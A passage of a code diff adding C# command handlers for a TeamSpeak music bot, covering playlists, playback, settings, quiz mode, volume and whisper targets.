+						throw new CommandException(strings.error_nothing_to_return, CommandExceptionReason.NoReturnMatch);
+				})
+				.ToArray();
+
+			return new JsonArray<object>(jsonArr, string.Empty);
+		}
+
+		[Command("json api", "_undocumented")]
+		public static JsonObject CommandJsonApi(CommandManager commandManager, BotManager botManager = null)
+		{
+			var bots = botManager?.GetBotInfolist() ?? Array.Empty<BotInfo>();
+			var api = OpenApiGenerator.Generate(commandManager, bots);
+			return new JsonValue<JObject>(api, string.Empty);
+		}
+
+		[Command("kickme")]
+		[Usage("[far]", "Optional attribute for the extra punch strength")]
+		public static void CommandKickme(Ts3Client ts3Client, InvokerData invoker, CallerInfo caller, string special = null)
+		{
+			if (caller.ApiCall)
+				throw new CommandException(strings.error_not_available_from_api, CommandExceptionReason.NotSupported);
+
+			if (invoker.ClientId.HasValue)
+			{
+				E<LocalStr> result = R.Ok;
+				if (string.IsNullOrEmpty(special) || special == "near")
+					result = ts3Client.KickClientFromChannel(invoker.ClientId.Value);
+				else if (special == "far")
+					result = ts3Client.KickClientFromServer(invoker.ClientId.Value);
+				if (!result.Ok)
+					throw new CommandException(strings.cmd_kickme_missing_permission, CommandExceptionReason.CommandError);
+			}
+		}
+
+		[Command("link")]
+		public static string CommandLink(ResourceFactoryManager factoryManager, PlayManager playManager, Bot bot, CallerInfo caller, InvokerData invoker = null)
+		{
+			if (playManager.CurrentPlayData == null)
+				throw new CommandException(strings.info_currently_not_playing, CommandExceptionReason.CommandError);
+			if (bot.QuizMode && !caller.ApiCall && (invoker == null || playManager.CurrentPlayData.Invoker.ClientId != invoker.ClientId))
+				throw new CommandException(strings.info_quizmode_is_active, CommandExceptionReason.CommandError);
+
+			return factoryManager.RestoreLink(playManager.CurrentPlayData.ResourceData);
+		}
+
+		[Command("list add")]
+		[Usage("<link>", "Any link that is also recognized by !play")]
+		public static void CommandListAdd(ResourceFactoryManager factoryManager, UserSession session, InvokerData invoker, string link)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+			var playResource = factoryManager.Load(link).UnwrapThrow();
+			plist.AddItem(new PlaylistItem(playResource.BaseData, new MetaData { ResourceOwnerUid = invoker.ClientUid }));
+		}
+
+		[Command("list add")]
+		public static void CommandListAdd(HistoryManager historyManager, UserSession session, InvokerData invoker, uint hid)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+			var ale = historyManager.GetEntryById(hid).UnwrapThrow();
+			plist.AddItem(new PlaylistItem(ale.AudioResource, new MetaData { ResourceOwnerUid = invoker.ClientUid }));
+		}
+
+		[Command("list clear")]
+		public static void CommandListClear(UserSession session, InvokerData invoker) => AutoGetPlaylist(session, invoker).Clear();
+
+		[Command("list delete")]
+		public static JsonEmpty CommandListDelete(ExecutionInformation info, PlaylistManager playlistManager, CallerInfo caller, InvokerData invoker, string name, UserSession session = null)
+		{
+			if (caller.ApiCall)
+				playlistManager.DeletePlaylist(name, invoker.ClientUid, info.HasRights(RightDeleteAllPlaylists)).UnwrapThrow();
+
+			bool? canDeleteAllPlaylists = null;
+
+			string ResponseListDelete(string message)
+			{
+				if (TextUtil.GetAnswer(message) == Answer.Yes)
+				{
+					playlistManager.DeletePlaylist(name, invoker.ClientUid, canDeleteAllPlaylists ?? info.HasRights(RightDeleteAllPlaylists)).UnwrapThrow();
+				}
+				return null;
+			}
+
+			var hresult = playlistManager.LoadPlaylist(name, true);
+			if (!hresult)
+			{
+				session.SetResponse(ResponseListDelete);
+				// TODO check if return == string => ask, return == empty => just delete
+				return new JsonEmpty(string.Format(strings.cmd_list_delete_confirm, name));
+			}
+			else
+			{
+				canDeleteAllPlaylists = info.HasRights(RightDeleteAllPlaylists);
+				if (hresult.Value.OwnerUid != invoker.ClientUid && !canDeleteAllPlaylists.Value)
+					throw new CommandException(strings.cmd_list_delete_cannot_delete_others_playlist, CommandExceptionReason.MissingRights);
+
+				session.SetResponse(ResponseListDelete);
+				return new JsonEmpty(string.Format(strings.cmd_list_delete_confirm, name));
+			}
+		}
+
+		[Command("list get")]
+		public static JsonEmpty CommandListGet(ResourceFactoryManager factoryManager, UserSession session, InvokerData invoker, string link)
+		{
+			var playlist = factoryManager.LoadPlaylistFrom(link).UnwrapThrow();
+
+			playlist.OwnerUid = invoker.ClientUid;
+			session.Set<PlaylistManager, Playlist>(playlist);
+			return new JsonEmpty(strings.info_ok);
+		}
+
+		[Command("list item move")]
+		public static void CommandListMove(UserSession session, InvokerData invoker, int from, int to)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+
+			if (from < 0 || from >= plist.Count
+				|| to < 0 || to >= plist.Count)
+			{
+				throw new CommandException(strings.error_playlist_item_index_out_of_range, CommandExceptionReason.CommandError);
+			}
+
+			if (from == to)
+				return;
+
+			var plitem = plist.GetResource(from);
+			plist.RemoveItemAt(from);
+			plist.InsertItem(plitem, Math.Min(to, plist.Count));
+		}
+
+		[Command("list item delete")]
+		public static string CommandListRemove(UserSession session, InvokerData invoker, int index)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+
+			if (index < 0 || index >= plist.Count)
+				throw new CommandException(strings.error_playlist_item_index_out_of_range, CommandExceptionReason.CommandError);
+
+			var deletedItem = plist.GetResource(index);
+			plist.RemoveItemAt(index);
+			return string.Format(strings.info_removed, deletedItem.DisplayString);
+		}
+
+		// add list item rename
+
+		[Command("list list")]
+		[Usage("<pattern>", "Filters all lists cantaining the given pattern.")]
+		public static JsonArray<string> CommandListList(PlaylistManager playlistManager, string pattern = null)
+		{
+			var files = playlistManager.GetAvailablePlaylists(pattern).ToArray();
+			if (files.Length <= 0)
+				return new JsonArray<string>(files, strings.error_playlist_not_found);
+
+			return new JsonArray<string>(files, fi =>
+			{
+				var strb = new StringBuilder();
+				int tokenLen = 0;
+				foreach (var file in fi)
+				{
+					int newTokenLen = tokenLen + TS3Client.Commands.Ts3String.TokenLength(file) + 3;
+					if (newTokenLen >= TS3Client.Commands.Ts3Const.MaxSizeTextMessage)
+						break;
+
+					strb.Append(file).Append(", ");
+					tokenLen = newTokenLen;
+				}
+
+				if (strb.Length > 2)
+					strb.Length -= 2;
+				return strb.ToString();
+			});
+		}
+
+		[Command("list load")]
+		public static JsonValue<Playlist> CommandListLoad(PlaylistManager playlistManager, UserSession session, InvokerData invoker, string name)
+		{
+			var loadList = AutoGetPlaylist(session, invoker);
+
+			var playList = playlistManager.LoadPlaylist(name).UnwrapThrow();
+
+			loadList.Clear();
+			loadList.AddRange(playList.AsEnumerable());
+			loadList.Name = playList.Name;
+			return new JsonValue<Playlist>(loadList, string.Format(strings.cmd_list_load_response, name, loadList.Count));
+		}
+
+		[Command("list merge")]
+		public static void CommandListMerge(PlaylistManager playlistManager, UserSession session, InvokerData invoker, string name)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+
+			var lresult = playlistManager.LoadPlaylist(name);
+			if (!lresult)
+				throw new CommandException(strings.error_playlist_not_found, CommandExceptionReason.CommandError);
+
+			plist.AddRange(lresult.Value.AsEnumerable());
+		}
+
+		[Command("list name")]
+		[Usage("<name>", "Changes the playlist name to <name>.")]
+		public static string CommandListName(UserSession session, InvokerData invoker, string name)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+
+			if (string.IsNullOrEmpty(name))
+				return plist.Name;
+
+			Util.IsSafeFileName(name).UnwrapThrow();
+
+			plist.Name = name;
+			return null;
+		}
+
+		[Command("list play")]
+		[Usage("<index>", "Lets you specify the starting song index.")]
+		public static void CommandListPlay(PlaylistManager playlistManager, PlayManager playManager, UserSession session, InvokerData invoker, int? index = null)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+
+			if (!index.HasValue || (index.Value >= 0 && index.Value < plist.Count))
+			{
+				playlistManager.PlayFreelist(plist);
+				playlistManager.Index = index ?? 0;
+			}
+			else
+			{
+				throw new CommandException(strings.error_playlist_item_index_out_of_range, CommandExceptionReason.CommandError);
+			}
+
+			var item = playlistManager.Current();
+			if (item != null)
+				playManager.Play(invoker, item).UnwrapThrow();
+			else
+				throw new CommandException(strings.error_playlist_is_empty, CommandExceptionReason.CommandError);
+		}
+
+		[Command("list queue")]
+		public static void CommandListQueue(PlayManager playManager, UserSession session, InvokerData invoker)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+			playManager.Enqueue(plist.AsEnumerable()).UnwrapThrow();
+		}
+
+		[Command("list save")]
+		[Usage("<name>", "Changes the playlist name to <name> before saving.")]
+		public static void CommandListSave(PlaylistManager playlistManager, UserSession session, InvokerData invoker, string optNewName = null)
+		{
+			var plist = AutoGetPlaylist(session, invoker);
+			if (!string.IsNullOrEmpty(optNewName))
+			{
+				Util.IsSafeFileName(optNewName).UnwrapThrow();
+				plist.Name = optNewName;
+			}
+
+			playlistManager.SavePlaylist(plist).UnwrapThrow();
+		}
+
+		[Command("list show")]
+		[Usage("<index>", "Lets you specify the staring index from which songs should be listed.")]
+		public static JsonArray<PlaylistItem> CommandListShow(PlaylistManager playlistManager, UserSession session, InvokerData invoker, int? offset = null) => CommandListShow(playlistManager, session, invoker, null, offset);
+
+		[Command("list show")]
+		[Usage("<name> <index>", "Lets you specify the starting index from which songs should be listed.")]
+		public static JsonArray<PlaylistItem> CommandListShow(PlaylistManager playlistManager, UserSession session, InvokerData invoker, string name = null, int? offset = null)
+		{
+			Playlist plist;
+			if (!string.IsNullOrEmpty(name))
+				plist = playlistManager.LoadPlaylist(name).UnwrapThrow();
+			else
+				plist = AutoGetPlaylist(session, invoker);
+
+			int from = Math.Max(offset ?? 0, 0);
+			var items = plist.AsEnumerable().Skip(from).ToArray();
+
+			return new JsonArray<PlaylistItem>(items, it =>
+			{
+				var strb = new StringBuilder();
+				strb.AppendFormat(strings.cmd_list_show_header, plist.Name, plist.Count).AppendLine();
+				foreach (var plitem in it.Take(10))
+					strb.Append(from++).Append(": ").AppendLine(plitem.DisplayString);
+				return strb.ToString();
+			});
+		}
+
+		[Command("loop")]
+		public static JsonValue<bool> CommandLoop(PlaylistManager playlistManager) => new JsonValue<bool>(playlistManager.Loop, string.Format(strings.info_status_loop, playlistManager.Loop ? strings.info_on : strings.info_off));
+		[Command("loop on")]
+		public static void CommandLoopOn(PlaylistManager playlistManager) => playlistManager.Loop = true;
+		[Command("loop off")]
+		public static void CommandLoopOff(PlaylistManager playlistManager) => playlistManager.Loop = false;
+
+		[Command("next")]
+		public static void CommandNext(PlayManager playManager, InvokerData invoker)
+		{
+			playManager.Next(invoker).UnwrapThrow();
+		}
+
+		[Command("pm")]
+		public static string CommandPm(CallerInfo caller, InvokerData invoker)
+		{
+			if (caller.ApiCall)
+				throw new CommandException(strings.error_not_available_from_api, CommandExceptionReason.NotSupported);
+			invoker.Visibiliy = TextMessageTargetMode.Private;
+			return string.Format(strings.cmd_pm_hi, invoker.NickName ?? "Anonymous");
+		}
+
+		[Command("parse command")]
+		public static JsonValue<AstNode> CommandParse(string parameter)
+		{
+			if (!parameter.TrimStart().StartsWith("!", StringComparison.Ordinal))
+				throw new CommandException("This is not a command", CommandExceptionReason.CommandError);
+
+			var node = CommandParser.ParseCommandRequest(parameter);
+			var strb = new StringBuilder();
+			strb.AppendLine();
+			node.Write(strb, 0);
+			return new JsonValue<AstNode>(node, strb.ToString());
+		}
+
+		[Command("pause")]
+		public static void CommandPause(Bot bot) => bot.PlayerConnection.Paused = true;
+
+		[Command("play")]
+		public static void CommandPlay(IPlayerConnection playerConnection)
+			=> playerConnection.Paused = false;
+
+		[Command("play")]
+		[Usage("<link>", "Youtube, Soundcloud, local path or file link")]
+		public static void CommandPlay(PlayManager playManager, InvokerData invoker, string url)
+			=> playManager.Play(invoker, url).UnwrapThrow();
+
+		[Command("plugin list")]
+		public static JsonArray<PluginStatusInfo> CommandPluginList(PluginManager pluginManager, Bot bot = null)
+		{
+			var overview = pluginManager.GetPluginOverview(bot);
+			return new JsonArray<PluginStatusInfo>(overview, PluginManager.FormatOverview);
+		}
+
+		[Command("plugin unload")]
+		public static void CommandPluginUnload(PluginManager pluginManager, string identifier, Bot bot = null)
+		{
+			var result = pluginManager.StopPlugin(identifier, bot);
+			if (result != PluginResponse.Ok)
+				throw new CommandException(string.Format(strings.error_plugin_error, result /*TODO*/), CommandExceptionReason.CommandError);
+		}
+
+		[Command("plugin load")]
+		public static void CommandPluginLoad(PluginManager pluginManager, string identifier, Bot bot = null)
+		{
+			var result = pluginManager.StartPlugin(identifier, bot);
+			if (result != PluginResponse.Ok)
+				throw new CommandException(string.Format(strings.error_plugin_error, result /*TODO*/), CommandExceptionReason.CommandError);
+		}
+
+		[Command("previous")]
+		public static void CommandPrevious(PlayManager playManager, InvokerData invoker)
+			=> playManager.Previous(invoker).UnwrapThrow();
+
+		[Command("print")]
+		public static string CommandPrint(params string[] parameter)
+		{
+			// XXX << Design changes expected >>
+			var strb = new StringBuilder();
+			foreach (var param in parameter)
+				strb.Append(param);
+			return strb.ToString();
+		}
+
+		[Command("quit")]
+		public static JsonEmpty CommandQuit(Core core, CallerInfo caller, UserSession session = null, string param = null)
+		{
+			if (caller.ApiCall)
+			{
+				core.Dispose();
+				return new JsonEmpty(string.Empty);
+			}
+
+			if (param == "force")
+			{
+				core.Dispose();
+				return new JsonEmpty(string.Empty);
+			}
+
+			string ResponseQuit(string message)
+			{
+				if (TextUtil.GetAnswer(message) == Answer.Yes)
+				{
+					CommandQuit(core, caller, session, "force");
+				}
+				return null;
+			}
+
+			session.SetResponse(ResponseQuit);
+			return new JsonEmpty(strings.cmd_quit_confirm + YesNoOption);
+		}
+
+		[Command("quiz")]
+		public static JsonValue<bool> CommandQuiz(Bot bot) => new JsonValue<bool>(bot.QuizMode, string.Format(strings.info_status_quizmode, bot.QuizMode ? strings.info_on : strings.info_off));
+		[Command("quiz on")]
+		public static void CommandQuizOn(Bot bot)
+		{
+			bot.QuizMode = true;
+			bot.UpdateBotStatus().UnwrapThrow();
+		}
+		[Command("quiz off")]
+		public static void CommandQuizOff(Bot bot, CallerInfo caller, InvokerData invoker)
+		{
+			if (!caller.ApiCall && invoker.Visibiliy.HasValue && invoker.Visibiliy == TextMessageTargetMode.Private)
+				throw new CommandException(strings.cmd_quiz_off_no_cheating, CommandExceptionReason.CommandError);
+			bot.QuizMode = false;
+			bot.UpdateBotStatus().UnwrapThrow();
+		}
+
+		[Command("random")]
+		public static JsonValue<bool> CommandRandom(PlaylistManager playlistManager) => new JsonValue<bool>(playlistManager.Random, string.Format(strings.info_status_random, playlistManager.Random ? strings.info_on : strings.info_off));
+		[Command("random on")]
+		public static void CommandRandomOn(PlaylistManager playlistManager) => playlistManager.Random = true;
+		[Command("random off")]
+		public static void CommandRandomOff(PlaylistManager playlistManager) => playlistManager.Random = false;
+		[Command("random seed", "cmd_random_seed_help")]
+		public static string CommandRandomSeed(PlaylistManager playlistManager)
+		{
+			string seed = Util.FromSeed(playlistManager.Seed);
+			return string.IsNullOrEmpty(seed) ? strings.info_empty : seed;
+		}
+		[Command("random seed", "cmd_random_seed_string_help")]
+		public static void CommandRandomSeed(PlaylistManager playlistManager, string newSeed)
+		{
+			if (newSeed.Any(c => !char.IsLetter(c)))
+				throw new CommandException(strings.cmd_random_seed_only_letters_allowed, CommandExceptionReason.CommandError);
+			playlistManager.Seed = Util.ToSeed(newSeed.ToLowerInvariant());
+		}
+		[Command("random seed", "cmd_random_seed_int_help")]
+		public static void CommandRandomSeed(PlaylistManager playlistManager, int newSeed) => playlistManager.Seed = newSeed;
+
+		[Command("repeat")]
+		public static JsonValue<bool> CommandRepeat(IPlayerConnection playerConnection) => new JsonValue<bool>(playerConnection.Repeated, string.Format(strings.info_status_repeat, playerConnection.Repeated ? strings.info_on : strings.info_off));
+		[Command("repeat on")]
+		public static void CommandRepeatOn(IPlayerConnection playerConnection) => playerConnection.Repeated = true;
+		[Command("repeat off")]
+		public static void CommandRepeatOff(IPlayerConnection playerConnection) => playerConnection.Repeated = false;
+
+		[Command("rights can")]
+		public static JsonArray<string> CommandRightsCan(ExecutionInformation info, RightsManager rightsManager, params string[] rights)
+		{
+			var result = rightsManager.GetRightsSubset(info, rights);
+			return new JsonArray<string>(result, result.Length > 0 ? string.Join(", ", result) : strings.info_empty);
+		}
+
+		[Command("rights reload")]
+		public static JsonEmpty CommandRightsReload(RightsManager rightsManager)
+		{
+			if (rightsManager.ReadFile())
+				return new JsonEmpty(strings.info_ok);
+
+			// TODO: this can be done nicer by returning the errors and warnings from parsing
+			throw new CommandException(strings.cmd_rights_reload_error_parsing_file, CommandExceptionReason.CommandError);
+		}
+
+		[Command("rng")]
+		[Usage("", "Gets a number between 0 and 2147483647")]
+		[Usage("<max>", "Gets a number between 0 and <max>")]
+		[Usage("<min> <max>", "Gets a number between <min> and <max>")]
+		public static int CommandRng(int? first = null, int? second = null)
+		{
+			if (first.HasValue && second.HasValue)
+			{
+				return Util.Random.Next(Math.Min(first.Value, second.Value), Math.Max(first.Value, second.Value));
+			}
+			else if (first.HasValue)
+			{
+				if (first.Value <= 0)
+					throw new CommandException(strings.cmd_rng_value_must_be_positive, CommandExceptionReason.CommandError);
+				return Util.Random.Next(first.Value);
+			}
+			else
+			{
+				return Util.Random.Next();
+			}
+		}
+
+		[Command("seek")]
+		[Usage("<sec>", "Time in seconds")]
+		[Usage("<min:sec>", "Time in Minutes:Seconds")]
+		public static void CommandSeek(IPlayerConnection playerConnection, string position)
+		{
+			TimeSpan span;
+			bool parsed = false;
+			if (position.Contains(":"))
+			{
+				string[] splittime = position.Split(':');
+
+				if (splittime.Length == 2
+					&& int.TryParse(splittime[0], out int minutes)
+					&& int.TryParse(splittime[1], out int seconds))
+				{
+					parsed = true;
+					span = TimeSpan.FromSeconds(seconds) + TimeSpan.FromMinutes(minutes);
+				}
+				else
+				{
+					span = TimeSpan.MinValue;
+				}
+			}
+			else
+			{
+				parsed = int.TryParse(position, out int seconds);
+				span = TimeSpan.FromSeconds(seconds);
+			}
+
+			if (!parsed)
+				throw new CommandException(strings.cmd_seek_invalid_format, CommandExceptionReason.CommandError);
+			else if (span < TimeSpan.Zero || span > playerConnection.Length)
+				throw new CommandException(strings.cmd_seek_out_of_range, CommandExceptionReason.CommandError);
+			else
+				playerConnection.Position = span;
+		}
+
+		[Command("settings")]
+		public static void CommandSettings()
+		{
+			throw new CommandException(string.Format(strings.cmd_settings_empty_usage, "'rights.path', 'web.api.enabled', 'tools.*'"),
+				CommandExceptionReason.MissingParameter);
+		}
+
+		[Command("settings get")]
+		public static ConfigPart CommandSettingsGet(ConfBot config, string path)
+			=> SettingsGet(config, path);
+
+		[Command("settings set")]
+		public static void CommandSettingsSet(ConfBot config, string path, string value)
+		{
+			SettingsSet(config, path, value);
+			if (!config.SaveWhenExists())
+			{
+				throw new CommandException("Value was set but could not be saved to file. All changes are temporary and will be lost when the bot restarts.",
+					CommandExceptionReason.CommandError);
+			}
+		}
+
+		[Command("settings bot get", "cmd_settings_get_help")]
+		public static ConfigPart CommandSettingsBotGet(BotManager bots, ConfRoot config, string bot, string path)
+		{
+			using (var botlock = bots.GetBotLock(bot))
+			{
+				var confBot = GetConf(botlock.Bot, config, bot);
+				return CommandSettingsGet(confBot, path);
+			}
+		}
+
+		[Command("settings bot set", "cmd_settings_set_help")]
+		public static void CommandSettingsBotSet(BotManager bots, ConfRoot config, string bot, string path, string value)
+		{
+			using (var botlock = bots.GetBotLock(bot))
+			{
+				var confBot = GetConf(botlock.Bot, config, bot);
+				CommandSettingsSet(confBot, path, value);
+			}
+		}
+
+		private static ConfBot GetConf(Bot bot, ConfRoot config, string name)
+		{
+			if (bot != null)
+			{
+				var mod = bot.Injector.GetModule<ConfBot>();
+				if (mod != null)
+					return mod;
+				else
+					throw new CommandException(strings.error_call_unexpected_error, CommandExceptionReason.CommandError);
+			}
+			else
+			{
+				var getTemplateResult = config.GetBotTemplate(name);
+				if (!getTemplateResult.Ok)
+					throw new CommandException(strings.error_bot_does_not_exist, getTemplateResult.Error, CommandExceptionReason.CommandError);
+				return getTemplateResult.Value;
+			}
+		}
+
+		[Command("settings global get")]
+		public static ConfigPart CommandSettingsGlobalGet(ConfRoot config, string path)
+			=> SettingsGet(config, path);
+
+		[Command("settings global set")]
+		public static void CommandSettingsGlobalSet(ConfRoot config, string path, string value)
+		{
+			SettingsSet(config, path, value);
+			if (!config.Save())
+			{
+				throw new CommandException("Value was set but could not be saved to file. All changes are temporary and will be lost when the bot restarts.",
+					CommandExceptionReason.CommandError);
+			}
+		}
+
+		private static ConfigPart SettingsGet(ConfigPart config, string path) => config.ByPathAsArray(path).SettingsGetSingle();
+
+		private static void SettingsSet(ConfigPart config, string path, string value)
+		{
+			var setConfig = config.ByPathAsArray(path).SettingsGetSingle();
+			if (setConfig is IJsonSerializable jsonConfig)
+			{
+				var result = jsonConfig.FromJson(value);
+				if (!result.Ok)
+					throw new CommandException($"Failed to set the value ({result.Error}).", CommandExceptionReason.CommandError); // LOC: TODO
+			}
+			else
+			{
+				throw new CommandException("This value currently cannot be set.", CommandExceptionReason.CommandError); // LOC: TODO
+			}
+		}
+
+		private static ConfigPart SettingsGetSingle(this ConfigPart[] configPartsList)
+		{
+			if (configPartsList.Length == 0)
+			{
+				throw new CommandException(strings.error_config_no_key_found, CommandExceptionReason.CommandError);
+			}
+			else if (configPartsList.Length == 1)
+			{
+				return configPartsList[0];
+			}
+			else
+			{
+				throw new CommandException(
+					string.Format(
+						strings.error_config_multiple_keys_found + "\n",
+						string.Join("\n  ", configPartsList.Take(3).Select(kvp => kvp.Key))),
+					CommandExceptionReason.CommandError);
+			}
+		}
+
+		[Command("settings help")]
+		public static string CommandSettingsHelp(ConfRoot config, string path)
+		{
+			var part = SettingsGet(config, path);
+			return string.IsNullOrEmpty(part.Documentation) ? strings.info_empty : part.Documentation;
+		}
+
+		[Command("song")]
+		public static JsonValue<string> CommandSong(PlayManager playManager, ResourceFactoryManager factoryManager, Bot bot, CallerInfo caller, InvokerData invoker = null)
+		{
+			if (playManager.CurrentPlayData == null)
+				throw new CommandException(strings.info_currently_not_playing, CommandExceptionReason.CommandError);
+			if (bot.QuizMode && !caller.ApiCall && (invoker == null || playManager.CurrentPlayData.Invoker.ClientId != invoker.ClientId))
+				throw new CommandException(strings.info_quizmode_is_active, CommandExceptionReason.CommandError);
+
+			return new JsonValue<string>(
+				playManager.CurrentPlayData.ResourceData.ResourceTitle,
+				$"[url={factoryManager.RestoreLink(playManager.CurrentPlayData.ResourceData)}]{playManager.CurrentPlayData.ResourceData.ResourceTitle}[/url]");
+		}
+
+		[Command("song position")]
+		public static JsonObject CommandSongPosition(IPlayerConnection playerConnection)
+		{
+			return JsonValue.Create(new
+			{
+				position = playerConnection.Position,
+				length = playerConnection.Length,
+			},
+			x => x.length.TotalHours >= 1 || x.position.TotalHours >= 1
+				? $"{x.position:hh\\:mm\\:ss}/{x.length:hh\\:mm\\:ss}"
+				: $"{x.position:mm\\:ss}/{x.length:mm\\:ss}"
+			);
+		}
+
+		[Command("stop")]
+		public static void CommandStop(PlayManager playManager) => playManager.Stop();
+
+		[Command("subscribe")]
+		public static void CommandSubscribe(IVoiceTarget targetManager, InvokerData invoker)
+		{
+			if (invoker.ClientId.HasValue)
+				targetManager.WhisperClientSubscribe(invoker.ClientId.Value);
+		}
+
+		[Command("subscribe tempchannel")]
+		public static void CommandSubscribeTempChannel(IVoiceTarget targetManager, InvokerData invoker, ulong? channel = null)
+		{
+			var subChan = channel ?? invoker.ChannelId ?? 0;
+			if (subChan != 0)
+				targetManager.WhisperChannelSubscribe(subChan, true);
+		}
+
+		[Command("subscribe channel")]
+		public static void CommandSubscribeChannel(IVoiceTarget targetManager, InvokerData invoker, ulong? channel = null)
+		{
+			var subChan = channel ?? invoker.ChannelId ?? 0;
+			if (subChan != 0)
+				targetManager.WhisperChannelSubscribe(subChan, false);
+		}
+
+		[Command("take")]
+		[Usage("<count> <text>", "Take only <count> parts of the text")]
+		[Usage("<count> <start> <text>", "Take <count> parts, starting with the part at <start>")]
+		[Usage("<count> <start> <delimiter> <text>", "Specify another delimiter for the parts than spaces")]
+		public static ICommandResult CommandTake(ExecutionInformation info, IReadOnlyList<ICommand> arguments, IReadOnlyList<CommandResultType> returnTypes)
+		{
+			if (arguments.Count < 2)
+				throw new CommandException(strings.error_cmd_at_least_two_argument, CommandExceptionReason.MissingParameter);
+
+			int start = 0;
+			string delimiter = null;
+
+			// Get count
+			var res = ((StringCommandResult)arguments[0].Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content;
+			if (!int.TryParse(res, out int count) || count < 0)
+				throw new CommandException("Count must be an integer >= 0", CommandExceptionReason.CommandError); // LOC: TODO
+
+			if (arguments.Count > 2)
+			{
+				// Get start
+				res = ((StringCommandResult)arguments[1].Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content;
+				if (!int.TryParse(res, out start) || start < 0)
+					throw new CommandException("Start must be an integer >= 0", CommandExceptionReason.CommandError); // LOC: TODO
+			}
+
+			// Get delimiter if exists
+			if (arguments.Count > 3)
+				delimiter = ((StringCommandResult)arguments[2].Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content;
+
+			string text = ((StringCommandResult)arguments[Math.Min(arguments.Count - 1, 3)]
+				.Execute(info, Array.Empty<ICommand>(), XCommandSystem.ReturnString)).Content;
+
+			var splitted = delimiter == null
+				? text.Split()
+				: text.Split(new[] { delimiter }, StringSplitOptions.None);
+			if (splitted.Length < start + count)
+				throw new CommandException(strings.cmd_take_not_enough_arguements, CommandExceptionReason.CommandError);
+			var splittedarr = splitted.Skip(start).Take(count).ToArray();
+
+			foreach (var returnType in returnTypes)
+			{
+				if (returnType == CommandResultType.String)
+					return new StringCommandResult(string.Join(delimiter ?? " ", splittedarr));
+				if (returnType == CommandResultType.Json)
+					return new JsonCommandResult(new JsonArray<string>(splittedarr, string.Join(delimiter ?? " ", splittedarr)));
+			}
+
+			throw new CommandException("Can't find a fitting return type for take", CommandExceptionReason.NoReturnMatch);
+		}
+
+		[Command("unsubscribe")]
+		public static void CommandUnsubscribe(IVoiceTarget targetManager, InvokerData invoker)
+		{
+			if (invoker.ClientId.HasValue)
+				targetManager.WhisperClientUnsubscribe(invoker.ClientId.Value);
+		}
+
+		[Command("unsubscribe channel")]
+		public static void CommandUnsubscribeChannel(IVoiceTarget targetManager, InvokerData invoker, ulong? channel = null)
+		{
+			var subChan = channel ?? invoker.ChannelId ?? 0;
+			if (subChan != 0)
+				targetManager.WhisperChannelUnsubscribe(subChan, false);
+		}
+
+		[Command("unsubscribe temporary")]
+		public static void CommandUnsubscribeTemporary(IVoiceTarget targetManager) => targetManager.ClearTemporary();
+
+		[Command("version")]
+		public static JsonValue<BuildData> CommandVersion()
+		{
+			var data = SystemData.AssemblyData;
+			return new JsonValue<BuildData>(data, data.ToLongString());
+		}
+
+		[Command("volume")]
+		[Usage("<level>", "A new volume level between 0 and 100.")]
+		[Usage("+/-<level>", "Adds or subtracts a value from the current volume.")]
+		public static JsonValue<float> CommandVolume(ExecutionInformation info, IPlayerConnection playerConnection, CallerInfo caller, ConfBot config, UserSession session = null, string volume = null)
+		{
+			if (string.IsNullOrEmpty(volume))
+				return new JsonValue<float>(playerConnection.Volume, string.Format(strings.cmd_volume_current, playerConnection.Volume));
+
+			bool relPos = volume.StartsWith("+", StringComparison.Ordinal);
+			bool relNeg = volume.StartsWith("-", StringComparison.Ordinal);
+			string numberString = (relPos || relNeg) ? volume.Remove(0, 1) : volume;
+
+			if (!float.TryParse(numberString, NumberStyles.Float, CultureInfo.InvariantCulture, out var parsedVolume))
+				throw new CommandException(strings.cmd_volume_parse_error, CommandExceptionReason.CommandError);
+
+			float newVolume;
+			if (relPos) newVolume = playerConnection.Volume + parsedVolume;
+			else if (relNeg) newVolume = playerConnection.Volume - parsedVolume;
+			else newVolume = parsedVolume;
+
+			if (newVolume < 0 || newVolume > AudioValues.MaxVolume)
+				throw new CommandException(string.Format(strings.cmd_volume_is_limited, 0, AudioValues.MaxVolume), CommandExceptionReason.CommandError);
+
+			if (newVolume <= config.Audio.MaxUserVolume || newVolume < playerConnection.Volume || caller.ApiCall)
+			{
+				playerConnection.Volume = newVolume;
+			}
+			else if (newVolume <= AudioValues.MaxVolume)
+			{
+				string ResponseVolume(string message)
+				{
+					if (TextUtil.GetAnswer(message) == Answer.Yes)
+					{
+						if (info.HasRights(RightHighVolume))
+							playerConnection.Volume = newVolume;
+						else
+							return strings.cmd_volume_missing_high_volume_permission;
+					}
+					return null;
+				}
+
+				session.SetResponse(ResponseVolume);
+				throw new CommandException(strings.cmd_volume_high_volume_confirm + YesNoOption, CommandExceptionReason.CommandError);
+			}
+			return null;
+		}
+
+		[Command("whisper all")]
+		public static void CommandWhisperAll(IVoiceTarget targetManager) => CommandWhisperGroup(targetManager, GroupWhisperType.AllClients, GroupWhisperTarget.AllChannels);
+
+		[Command("whisper group")]
+		public static void CommandWhisperGroup(IVoiceTarget targetManager, GroupWhisperType type, GroupWhisperTarget target, ulong? targetId = null)
+		{
+			if (type == GroupWhisperType.ServerGroup || type == GroupWhisperType.ChannelGroup)
+			{
+				if (!targetId.HasValue)
+					throw new CommandException(strings.cmd_whisper_group_missing_target, CommandExceptionReason.CommandError);
+				targetManager.SetGroupWhisper(type, target, targetId.Value);
+				targetManager.SendMode = TargetSendMode.WhisperGroup;
+			}
+			else
+			{
+				if (targetId.HasValue)
+					throw new CommandException(strings.cmd_whisper_group_superfluous_target, CommandExceptionReason.CommandError);
+				targetManager.SetGroupWhisper(type, target, 0);
+				targetManager.SendMode = TargetSendMode.WhisperGroup;
+			}
+		}
+
+		[Command("whisper list")]
+		public static JsonObject CommandWhisperList(IVoiceTarget targetManager)
+		{
+			return JsonValue.Create(new
+			{
+				SendMode = targetManager.SendMode,
